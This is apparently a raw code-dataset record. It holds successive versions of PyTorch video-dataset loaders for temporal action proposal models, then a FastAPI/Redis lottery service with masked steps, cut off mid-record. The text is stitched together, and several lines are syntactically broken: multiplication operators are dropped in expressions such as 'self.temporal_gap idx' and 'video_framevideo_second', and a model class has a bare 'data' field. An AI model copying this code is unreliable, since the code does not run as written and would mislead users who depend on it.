self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __getitem__(self, index):\n video_data = self._load_file(index)\n if self.mode == 'train':\n match_score_start, match_score_end, confidence_score = (self.\n _get_train_label(index, self.anchor_xmin, self.anchor_xmax))\n return (video_data, confidence_score, match_score_start,\n match_score_end)\n else:\n return index, video_data\n\n def _get_match_map(self):\n match_map = []\n for idx in range(self.temporal_scale):\n tmp_match_window = []\n xmin = self.temporal_gap idx\n for jdx in range(1, self.temporal_scale + 1):\n xmax = xmin + self.temporal_gap * jdx\n tmp_match_window.append([xmin, xmax])\n match_map.append(tmp_match_window)\n match_map = np.array(match_map)\n match_map = np.transpose(match_map, [1, 0, 2])\n match_map = np.reshape(match_map, [-1, 2])\n self.match_map = match_map\n self.anchor_xmin = [(self.temporal_gap * (i - 0.5)) for i in range(\n self.temporal_scale)]\n self.anchor_xmax = [(self.temporal_gap * (i + 0.5)) for i in range(\n 1, self.temporal_scale + 1)]\n\n def _load_file(self, index):\n video_name = self.video_list[index]\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(self.\n temporal_scale) + '/' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n gt_iou_map = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n tmp_gt_iou_map = iou_with_anchors(self.match_map[:, 0], self.\n match_map[:, 1], tmp_start, tmp_end)\n tmp_gt_iou_map = np.reshape(tmp_gt_iou_map, [self.\n temporal_scale, self.temporal_scale])\n gt_iou_map.append(tmp_gt_iou_map)\n gt_iou_map = np.array(gt_iou_map)\n gt_iou_map = np.max(gt_iou_map, axis=0)\n gt_iou_map = torch.Tensor(gt_iou_map)\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = 3 * self.temporal_gap\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(ioa_with_anchors(anchor_xmin[\n jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(ioa_with_anchors(anchor_xmin[jdx],\n anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_start, match_score_end, gt_iou_map\n\n def __len__(self):\n return len(self.video_list)\n\n\ndef ioa_with_anchors(anchors_min, anchors_max, box_min, box_max):\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.0)\n scores = np.divide(inter_len, len_anchors)\n return scores\n\n\ndef iou_with_anchors(anchors_min, anchors_max, box_min, box_max):\n \"\"\"Compute jaccard score between a box and the anchors.\n \"\"\"\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.0)\n union_len = len_anchors - inter_len + box_max - box_min\n jaccard = np.divide(inter_len, union_len)\n return jaccard\n\n\nif __name__ == '__main__':\n import opts\n opt = opts.parse_opt()\n opt = vars(opt)\n train_loader = torch.utils.data.DataLoader(BMN_VideoDataSet(opt, subset\n ='train'), batch_size=opt['bmn_batch_size'], shuffle=True,\n num_workers=8, pin_memory=True)\n for a, b, c, d in train_loader:\n print(a.shape, b.shape, c.shape, d.shape)\n break\n", "step-5": "# -- coding: utf-8 --\nimport numpy as np\nimport pandas as pd\nimport pandas\nimport numpy\nimport json\nimport torch.utils.data as data\nimport os\nimport torch\n\ndef load_json(file):\n with open(file) as json_file:\n data = json.load(json_file)\n return data\n\n\nclass VideoDataSet(data.Dataset):\n def __init__(self,opt,subset=\"train\"):\n self.temporal_scale = opt[\"temporal_scale\"] # 时域长度归一化到100\n self.temporal_gap = 1. / self.temporal_scale # 每个snippt时间占比\n self.subset = subset # training validation or test\n self.mode = opt[\"mode\"] # 'train' or 'test'\n self.feature_path = opt[\"feature_path\"] # '特征存放位置'\n self.boundary_ratio = opt[\"boundary_ratio\"] # 0.1 人为扩充boundary的区域长度占总长度的比率\n self.video_info_path = opt[\"video_info\"] # 存在视频信息的csv\n self.video_anno_path = opt[\"video_anno\"] # 存放标记信息的csv\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n # 因为某些视频的特征可能不存在，或者遭到了损坏\n for video in self.video_list:\n if not os.path.exists(self.feature_path + \"csv_mean_\" + str(self.temporal_scale) + \"/\" + video + \".csv\"):\n print(\"video :{} feature csv is not existed\".format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n # 删除已知的错误样本\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print(\"del \" + v +' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n\n print (\"After check: csv \\n %s subset video numbers: %d\" %(self.subset,len(self.video_list)))\n \n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database= load_json(self.video_anno_path)\n self.video_dict = {} # 存放一系列内容，包括gt\n for i in range(len(anno_df)):\n video_name=anno_df.video.values[i]\n video_info=anno_database[video_name]\n video_subset=anno_df.subset.values[i] # 读取该视频属于的子数据集 training validation or test\n if self.subset == \"full\": #全部都要\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info # 是需要的数据集样本添加到字典中\n self.video_list = list(self.video_dict.keys()) # 含有哪些video\n print (\"Before check: csv \\n %s subset video numbers: %d\" %(self.subset,len(self.video_list)))\n\n def __getitem__(self, index):\n video_data,anchor_xmin,anchor_xmax = self._get_base_data(index)\n if self.mode == \"train\":\n match_score_action,match_score_start,match_score_end = self._get_train_label(index,anchor_xmin,anchor_xmax)\n return video_data,match_score_action,match_score_start,match_score_end\n else:\n return index,video_data,anchor_xmin,anchor_xmax\n \n def _get_base_data(self,index):\n video_name=self.video_list[index]\n anchor_xmin=[self.temporal_gapi for i in range(self.temporal_scale)] # 0.00 d到 0.99\n anchor_xmax=[self.temporal_gapi for i in range(1,self.temporal_scale+1)] # 0.01到1.00\n try:\n video_df=pd.read_csv(self.feature_path+ \"csv_mean_\"+str(self.temporal_scale)+\"/\"+video_name+\".csv\") # 得到这个视频的特征\n except:\n print('Error in '+video_name+\".csv\")\n video_data = video_df.values[:,:]\n video_data = torch.Tensor(video_data) # 这个video的特征[100, 400]\n video_data = torch.transpose(video_data,0,1) #[400， 100] 便于时域的一维卷积操作\n video_data.float()\n return video_data,anchor_xmin,anchor_xmax\n \n def _get_train_label(self,index,anchor_xmin,anchor_xmax): # 相当于要生成3个概率序列的真值\n video_name=self.video_list[index]\n video_info=self.video_dict[video_name] # 包括duration_second duration_frame annotations and feature_frame 但是这个特征长度已经被归一化了\n video_frame=video_info['duration_frame']\n video_second=video_info['duration_second']\n feature_frame=video_info['feature_frame']\n corrected_second=float(feature_frame)/video_framevideo_second #相当于校准时间因为采用的滑动窗口形式进行提取特征，两个frame会存在一些差异\n video_labels=video_info['annotations']\n \n gt_bbox = []\n for j in range(len(video_labels)): #将时间归一化 0到1之间\n tmp_info=video_labels[j]\n tmp_start=max(min(1,tmp_info['segment'][0]/corrected_second),0)\n tmp_end=max(min(1,tmp_info['segment'][1]/corrected_second),0)\n gt_bbox.append([tmp_start,tmp_end])\n \n gt_bbox=np.array(gt_bbox)\n gt_xmins=gt_bbox[:,0]\n gt_xmaxs=gt_bbox[:,1]\n\n gt_lens=gt_xmaxs-gt_xmins\n gt_len_small=np.maximum(self.temporal_gap,self.boundary_ratiogt_lens) # starting region 和 ending region的长度\n gt_start_bboxs=np.stack((gt_xmins-gt_len_small/2,gt_xmins+gt_len_small/2),axis=1) # starting region\n gt_end_bboxs=np.stack((gt_xmaxs-gt_len_small/2,gt_xmaxs+gt_len_small/2),axis=1) # ending region\n\n # anchors = np.stack((anchor_xmin, anchor_xmax), 1) # 代表每一个snippet的范围\n match_score_action=[]\n # 给每一个位置计算TEM的三个概率值，但是from 0 to 99 效率不高吧这种方法生成会有大量的无效操作，特别是gt较少的时候，可以后期优化\n for jdx in range(len(anchor_xmin)):\n match_score_action.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_xmins,gt_xmaxs)))\n match_score_start=[]\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_start_bboxs[:,0],gt_start_bboxs[:,1])))\n match_score_end=[]\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_end_bboxs[:,0],gt_end_bboxs[:,1])))\n match_score_action = torch.Tensor(match_score_action)\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_action,match_score_start,match_score_end #3个长度为100的概率序列\n\n def _ioa_with_anchors(self,anchors_min,anchors_max,box_min,box_max):\n len_anchors=anchors_max-anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.)\n scores = np.divide(inter_len, len_anchors)\n return scores\n\n def _ioa(self, anchors, gts):\n len_anchors = anchors[:,1] - anchors[:,0]\n int_min = np.maximum(anchors[:,0],gts[:,0])\n int_max = np.minimum(anchors[:,1],gts[:,1])\n np.maximum(np.expand_dims(np.arange(1, 5), 1), np.arange(3))\n\n\n \n def __len__(self):\n return len(self.video_list)\n\n\nclass ProposalDataSet(data.Dataset):\n def __init__(self,opt,subset=\"train\"):\n \n self.subset=subset\n self.mode = opt[\"mode\"]\n if self.mode == \"train\": # 测试与前推时的样本数量是不一样的\n self.top_K = opt[\"pem_top_K\"]\n else:\n self.top_K = opt[\"pem_top_K_inference\"]\n self.video_info_path = opt[\"video_info\"]\n self.video_anno_path = opt[\"video_anno\"]\n self.feature_path = opt[\"feature_path\"] # '特征存放位置'\n self.temporal_scale = opt[\"temporal_scale\"] # 时域长度归一化到100\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n # 因为某些视频的特征可能不存在，或者遭到了损坏\n for video in self.video_list:\n if not os.path.exists(self.feature_path + \"csv_mean_\" + str(self.temporal_scale) + \"/\" + video + \".csv\"):\n print(\"video :{} feature csv is not existed\".format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n # 删除已知的错误样本\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print(\"del \" + v +' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n\n print (\"After check: csv \\n %s subset video numbers: %d\" %(self.subset,len(self.video_list)))\n \n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path) #读取信息\n anno_database= load_json(self.video_anno_path) # 读取相关真值信息\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name=anno_df.video.values[i]\n video_info=anno_database[video_name]\n video_subset=anno_df.subset.values[i]\n if self.subset == \"full\":\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print (\"%s subset video numbers: %d\" %(self.subset,len(self.video_list)))\n\n def __len__(self):\n return len(self.video_list)\n\n def __getitem__(self, index):\n video_name = self.video_list[index]\n pdf=pandas.read_csv(\"./output/PGM_proposals/\"+video_name+\".csv\") # 读取proposal\n pdf=pdf[:self.top_K]\n video_feature = numpy.load(\"./output/PGM_feature/\" + video_name+\".npy\") # read BSP feature for proposals\n video_feature = video_feature[:self.top_K,:]\n #print len(video_feature),len(pdf)\n video_feature = torch.Tensor(video_feature)\n\n if self.mode == \"train\":\n video_match_iou = torch.Tensor(pdf.match_iou.values[:]) # choose IOU as gt 已经在TEM inference阶段计算好\n return video_feature,video_match_iou # [bs, 32] [bs]\n else:\n # 取得proposals的 starting location， ending location, starting score, ending score\n video_xmin =pdf.xmin.values[:]\n video_xmax =pdf.xmax.values[:]\n video_xmin_score = pdf.xmin_score.values[:]\n video_xmax_score = pdf.xmax_score.values[:]\n return video_feature,video_xmin,video_xmax,video_xmin_score,video_xmax_score\n\n\n\ndef load_json(file):\n with open(file) as json_file:\n json_data = json.load(json_file)\n return json_data\n\n\nclass BMN_VideoDataSet(data.Dataset):\n def __init__(self, opt, subset=\"train\"):\n self.temporal_scale = opt[\"temporal_scale\"] # 100\n self.temporal_gap = 1. / self.temporal_scale\n self.subset = subset\n self.mode = opt[\"mode\"]\n self.feature_path = opt[\"feature_path\"]\n self.video_info_path = opt[\"video_info\"]\n self.video_anno_path = opt[\"video_anno\"]\n self._getDatasetDict()\n self.check_csv()\n self._get_match_map()\n\n def check_csv(self):\n # 因为某些视频的特征可能不存在，或者遭到了损坏\n for video in self.video_list:\n if not os.path.exists(self.feature_path + \"csv_mean_\" + str(self.temporal_scale) + \"/\" + video + \".csv\"):\n print(\"video :{} feature csv is not existed\".format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n # 删除已知的错误样本\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print(\"del \" + v +' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n\n print (\"After check: csv \\n %s subset video numbers: %d\" %(self.subset,len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print(\"%s subset video numbers: %d\" % (self.subset, len(self.video_list)))\n\n def __getitem__(self, index):\n video_data = self._load_file(index) # video feature [400, 100]\n if self.mode == \"train\":\n # [D, T] [100, 100] [T=100] [T=100]\n match_score_start, match_score_end, confidence_score = self._get_train_label(index, self.anchor_xmin,\n self.anchor_xmax)\n return video_data,confidence_score, match_score_start, match_score_end\n else:\n return index, video_data\n\n def _get_match_map(self):\n match_map = []\n for idx in range(self.temporal_scale):\n tmp_match_window = []\n xmin = self.temporal_gap * idx # start locaiton 归一化之后的\n for jdx in range(1, self.temporal_scale + 1):\n xmax = xmin + self.temporal_gap * jdx # ending location 加上duration\n tmp_match_window.append([xmin, xmax])\n match_map.append(tmp_match_window)\n match_map = np.array(match_map) # 100x100x2 最后一个2代表BM map上面每一个代表的candidate proposals所代表的时域范围 [start, duration, 2]\n match_map = np.transpose(match_map, [1, 0, 2]) # [0.00,0.01] [0.01,0.02] [0.02,0.03].....[0.99,0.100] [duration, start, 2]\n match_map = np.reshape(match_map, [-1, 2]) # [0,2] [1,3] [2,4].....[99,101] # duration x start [100100, 2]\n self.match_map = match_map # duration is same in row, start is same in col\n self.anchor_xmin = [self.temporal_gap (i-0.5) for i in range(self.temporal_scale)] # 每一个 snippet 的开始时间\n self.anchor_xmax = [self.temporal_gap * (i+0.5) for i in range(1, self.temporal_scale + 1)] # 每一个 snippet的结束时刻\n # 注意从产生特征的角度来看，上面的anchor min 和anchor max 应该和BSN一样，不减去0.5，\n # 比如第一个特征的就是由0-16帧图片产生，最后一个特征就是-16到-1的图片产生，应该不用减去那个0.5\n # 之后可以通过实验验证一下是否影响精度相反，我觉得上面的match map应该加上0,5 因为每个snippet的中央区域在中间但是因为是离线处理，所以不应该纠结那么多\n def _load_file(self, index):\n video_name = self.video_list[index]\n video_df = pd.read_csv(self.feature_path + \"csv_mean_\" + str(self.temporal_scale) + \"/\" + video_name + \".csv\")\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second # there are some frames not used\n video_labels = video_info['annotations'] # the measurement is second, not frame\n\n ##############################################################################################\n # change the measurement from second to percentage\n gt_bbox = []\n gt_iou_map = []\n for j in range(len(video_labels)): #对于每个Proposal\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] / corrected_second), 0) # 归一化时间\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n tmp_gt_iou_map = iou_with_anchors( # 每一个候选的proposals计算IOU\n self.match_map[:, 0], self.match_map[:, 1], tmp_start, tmp_end)\n tmp_gt_iou_map = np.reshape(tmp_gt_iou_map,\n [self.temporal_scale, self.temporal_scale]) # [100, 100] 相当于BM map的label\n gt_iou_map.append(tmp_gt_iou_map)\n gt_iou_map = np.array(gt_iou_map) # [num_gt, 100, 100]\n gt_iou_map = np.max(gt_iou_map, axis=0) # 取最大的IOU作为gt [100, 100]\n gt_iou_map = torch.Tensor(gt_iou_map)\n ##############################################################################################\n\n ####################################################################################################\n # generate R_s and R_e # 构建增强后的start region和ending region\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = 3 * self.temporal_gap # np.maximum(self.temporal_gap, self.boundary_ratio * gt_lens) # 直接用绝对大小代表增强区域的大小\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + gt_len_small / 2), axis=1) # 产生增强之后的两个区域\n #####################################################################################################\n\n ##########################################################################################################\n # calculate the ioa for all timestamp # 计算两个概率序列的真值\n match_score_start = []\n for jdx in range(len(anchor_xmin)): # 针对每一个anchor都计算与gt之间的ioa作为真值\n match_score_start.append(np.max(\n ioa_with_anchors(anchor_xmin[jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0], gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(\n ioa_with_anchors(anchor_xmin[jdx], anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n ############################################################################################################\n\n return match_score_start, match_score_end, gt_iou_map # 三个真值 [100], [100], [100,100]\n\n def __len__(self):\n return len(self.video_list)\n\ndef ioa_with_anchors(anchors_min, anchors_max, box_min, box_max):\n # calculate the overlap proportion between the anchor and all bbox for supervise signal,\n # the length of the anchor is 0.01\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.)\n scores = np.divide(inter_len, len_anchors)\n return scores\n\n\ndef iou_with_anchors(anchors_min, anchors_max, box_min, box_max):\n \"\"\"Compute jaccard score between a box and the anchors.\n \"\"\"\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.)\n union_len = len_anchors - inter_len + box_max - box_min\n # print inter_len,union_len\n jaccard = np.divide(inter_len, union_len)\n return jaccard\n\nif __name__ == '__main__':\n import opts\n opt = opts.parse_opt()\n opt = vars(opt)\n # test dataset for BMN network\n train_loader = torch.utils.data.DataLoader(BMN_VideoDataSet(opt, subset=\"train\"),\n batch_size=opt[\"bmn_batch_size\"], shuffle=True,\n num_workers=8, pin_memory=True)\n for a,b,c,d in train_loader:\n print(a.shape,b.shape,c.shape,d.shape)\n break", "step-ids": [ 17, 21, 28, 31, 32 ] }	[ 17, 21, 28, 31, 32 ]
from typing import Optional,List from fastapi import FastAPI from pydantic import BaseModel, Field from redisqueue import RedisQueue,MyRedis import random class Award(BaseModel): name: str count: int class Item(BaseModel): luckname: str = Field(...,title="抽奖规则名称",max_lenght = 300) total: int = Field(...,title="抽奖总人数",gt=0) award: Optional[List[Award]] = Field(None,title="奖品列表") other: str = Field(...,title="参与奖或者未中奖") app = FastAPI() class ResSuccess(BaseModel): ret: int = 0 data @app.get('/') def read_root(): return {"Hello":"World"} @app.post( '/delect', tags = ["抽奖接口"], summary = "删除抽奖规则" ) def delect(name:str): rq = RedisQueue(name) if rq.qsize: rq.lpop(name) return { 'ret':0, 'msg':"删除成功" } @app.post( '/creat', tags = ['抽奖接口'], summary="创建抽奖规则" ) def creat(item: Item): """ 通过该接口可以创建一个抽奖规则 """ myredis = MyRedis() rq = RedisQueue(item.luckname) print("ok") if rq.qsize(): return { "ret":500, "msg":"该抽奖已经存在，请删除后重试" } result = {"ret":0, "item":item} awardlist = item.award lucklist =[] luckdict = {} for ward in awardlist: luckdict[ward.name] = ward.count for i in range(ward.count): lucklist.append(ward.name) othercount = item.total - len(lucklist) if othercount: luckdict[item.other] = othercount others = [item.other] * othercount lucklist = lucklist + others random.shuffle(lucklist) print(lucklist) for luck in lucklist: rq.put(luck) myredis.hmset(item.luckname,luckdict) result = { 'ret': 0, 'msg': "succses" } return result @app.get('/luck', tags = ["抽奖接口"], summary="抽奖接口") def luck(id: int,luckname: str): """ 开始抽奖 """ rd = RedisQueue(luckname) myredis = MyRedis() winner = luckname+"_winner" if myredis.hexists(winner,id): return { "ret":0, "msg":"您已经抽过了，不能再抽了" } award = rd.get_nowait() if award: myredis.hset(winner,id,award) myredis.hincrby(luckname,award,-1) result = { "ret":0, 'data':{ "flag":1, "msg":"恭喜你中奖了", "award":award } } else: result = { "ret":0, 'data':{ "flag":0, "msg":"奖抽完了", } } return result @app.get('/luckman',tags = ["抽奖接口"],summary="查看中奖名单") def luckman(luckname: str): myredis = MyRedis() winner = luckname + "_winner" winnerlist = myredis.hgetall(winner) print(winnerlist) return { "ret":0, "data":winnerlist } @app.get('/remaining',tags = ["抽奖接口"],summary="查看剩余奖品列表") def Remaining(luckname: str): myredis = MyRedis() remainlist = myredis.hgetall(luckname) print(remainlist) return { "ret":0, "data":remainlist }	normal	{ "blob_id": "4550ed971eef36badf46a44adcc593324a5292cf", "index": 2637, "step-1": "<mask token>\n\n\nclass Award(BaseModel):\n name: str\n count: int\n\n\nclass Item(BaseModel):\n luckname: str = Field(..., title='抽奖规则名称', max_lenght=300)\n total: int = Field(..., title='抽奖总人数', gt=0)\n award: Optional[List[Award]] = Field(None, title='奖品列表')\n other: str = Field(..., title='参与奖或者未中奖')\n\n\n<mask token>\n\n\nclass ResSuccess(BaseModel):\n ret: int = 0\n data\n\n\n<mask token>\n\n\n@app.post('/delect', tags=['抽奖接口'], summary='删除抽奖规则')\ndef delect(name: str):\n rq = RedisQueue(name)\n if rq.qsize:\n rq.lpop(name)\n return {'ret': 0, 'msg': '删除成功'}\n\n\n@app.post('/creat', tags=['抽奖接口'], summary='创建抽奖规则')\ndef creat(item: Item):\n \"\"\"\n 通过该接口可以创建一个抽奖规则\n \"\"\"\n myredis = MyRedis()\n rq = RedisQueue(item.luckname)\n print('ok')\n if rq.qsize():\n return {'ret': 500, 'msg': '该抽奖已经存在，请删除后重试'}\n result = {'ret': 0, 'item': item}\n awardlist = item.award\n lucklist = []\n luckdict = {}\n for ward in awardlist:\n luckdict[ward.name] = ward.count\n for i in range(ward.count):\n lucklist.append(ward.name)\n othercount = item.total - len(lucklist)\n if othercount:\n luckdict[item.other] = othercount\n others = [item.other] * othercount\n lucklist = lucklist + others\n random.shuffle(lucklist)\n print(lucklist)\n for luck in lucklist:\n rq.put(luck)\n myredis.hmset(item.luckname, luckdict)\n result = {'ret': 0, 'msg': 'succses'}\n return result\n\n\n@app.get('/luck', tags=['抽奖接口'], summary='抽奖接口')\ndef luck(id: int, luckname: str):\n \"\"\"\n 开始抽奖\n \"\"\"\n rd = RedisQueue(luckname)\n myredis = MyRedis()\n winner = luckname + '_winner'\n if myredis.hexists(winner, id):\n return {'ret': 0, 'msg': '您已经抽过了，不能再抽了'}\n award = rd.get_nowait()\n if award:\n myredis.hset(winner, id, award)\n myredis.hincrby(luckname, award, -1)\n result = {'ret': 0, 'data': {'flag': 1, 'msg': '恭喜你中奖了', 'award':\n award}}\n else:\n result = {'ret': 0, 'data': {'flag': 0, 'msg': '奖抽完了'}}\n return result\n\n\n<mask token>\n\n\n@app.get('/remaining', tags=['抽奖接口'], summary='查看剩余奖品列表')\ndef Remaining(luckname: str):\n myredis = MyRedis()\n remainlist = myredis.hgetall(luckname)\n print(remainlist)\n return {'ret': 0, 'data': remainlist}\n", "step-2": "<mask token>\n\n\nclass Award(BaseModel):\n name: str\n count: int\n\n\nclass Item(BaseModel):\n luckname: str = Field(..., title='抽奖规则名称', max_lenght=300)\n total: int = Field(..., title='抽奖总人数', gt=0)\n award: Optional[List[Award]] = Field(None, title='奖品列表')\n other: str = Field(..., title='参与奖或者未中奖')\n\n\n<mask token>\n\n\nclass ResSuccess(BaseModel):\n ret: int = 0\n data\n\n\n<mask token>\n\n\n@app.post('/delect', tags=['抽奖接口'], summary='删除抽奖规则')\ndef delect(name: str):\n rq = RedisQueue(name)\n if rq.qsize:\n rq.lpop(name)\n return {'ret': 0, 'msg': '删除成功'}\n\n\n@app.post('/creat', tags=['抽奖接口'], summary='创建抽奖规则')\ndef creat(item: Item):\n \"\"\"\n 通过该接口可以创建一个抽奖规则\n \"\"\"\n myredis = MyRedis()\n rq = RedisQueue(item.luckname)\n print('ok')\n if rq.qsize():\n return {'ret': 500, 'msg': '该抽奖已经存在，请删除后重试'}\n result = {'ret': 0, 'item': item}\n awardlist = item.award\n lucklist = []\n luckdict = {}\n for ward in awardlist:\n luckdict[ward.name] = ward.count\n for i in range(ward.count):\n lucklist.append(ward.name)\n othercount = item.total - len(lucklist)\n if othercount:\n luckdict[item.other] = othercount\n others = [item.other] * othercount\n lucklist = lucklist + others\n random.shuffle(lucklist)\n print(lucklist)\n for luck in lucklist:\n rq.put(luck)\n myredis.hmset(item.luckname, luckdict)\n result = {'ret': 0, 'msg': 'succses'}\n return result\n\n\n@app.get('/luck', tags=['抽奖接口'], summary='抽奖接口')\ndef luck(id: int, luckname: str):\n \"\"\"\n 开始抽奖\n \"\"\"\n rd = RedisQueue(luckname)\n myredis = MyRedis()\n winner = luckname + '_winner'\n if myredis.hexists(winner, id):\n return {'ret': 0, 'msg': '您已经抽过了，不能再抽了'}\n award = rd.get_nowait()\n if award:\n myredis.hset(winner, id, award)\n myredis.hincrby(luckname, award, -1)\n result = {'ret': 0, 'data': {'flag': 1, 'msg': '恭喜你中奖了', 'award':\n award}}\n else:\n result = {'ret': 0, 'data': {'flag': 0, 'msg': '奖抽完了'}}\n return result\n\n\n@app.get('/luckman', tags=['抽奖接口'], summary='查看中奖名单')\ndef luckman(luckname: str):\n myredis = MyRedis()\n winner = luckname + '_winner'\n winnerlist = myredis.hgetall(winner)\n print(winnerlist)\n return {'ret': 0, 'data': winnerlist}\n\n\n@app.get('/remaining', tags=['抽奖接口'], summary='查看剩余奖品列表')\ndef Remaining(luckname: str):\n myredis = MyRedis()\n remainlist = myredis.hgetall(luckname)\n print(remainlist)\n return {'ret': 0, 'data': remainlist}\n", "step-3": "<mask token>\n\n\nclass Award(BaseModel):\n name: str\n count: int\n\n\nclass Item(BaseModel):\n luckname: str = Field(..., title='抽奖规则名称', max_lenght=300)\n total: int = Field(..., title='抽奖总人数', gt=0)\n award: Optional[List[Award]] = Field(None, title='奖品列表')\n other: str = Field(..., title='参与奖或者未中奖')\n\n\napp = FastAPI()\n\n\nclass ResSuccess(BaseModel):\n ret: int = 0\n data\n\n\n@app.get('/')\ndef read_root():\n return {'Hello': 'World'}\n\n\n@app.post('/delect', tags=['抽奖接口'], summary='删除抽奖规则')\ndef delect(name: str):\n rq = RedisQueue(name)\n if rq.qsize:\n rq.lpop(name)\n return {'ret': 0, 'msg': '删除成功'}\n\n\n@app.post('/creat', tags=['抽奖接口'], summary='创建抽奖规则')\ndef creat(item: Item):\n \"\"\"\n 通过该接口可以创建一个抽奖规则\n \"\"\"\n myredis = MyRedis()\n rq = RedisQueue(item.luckname)\n 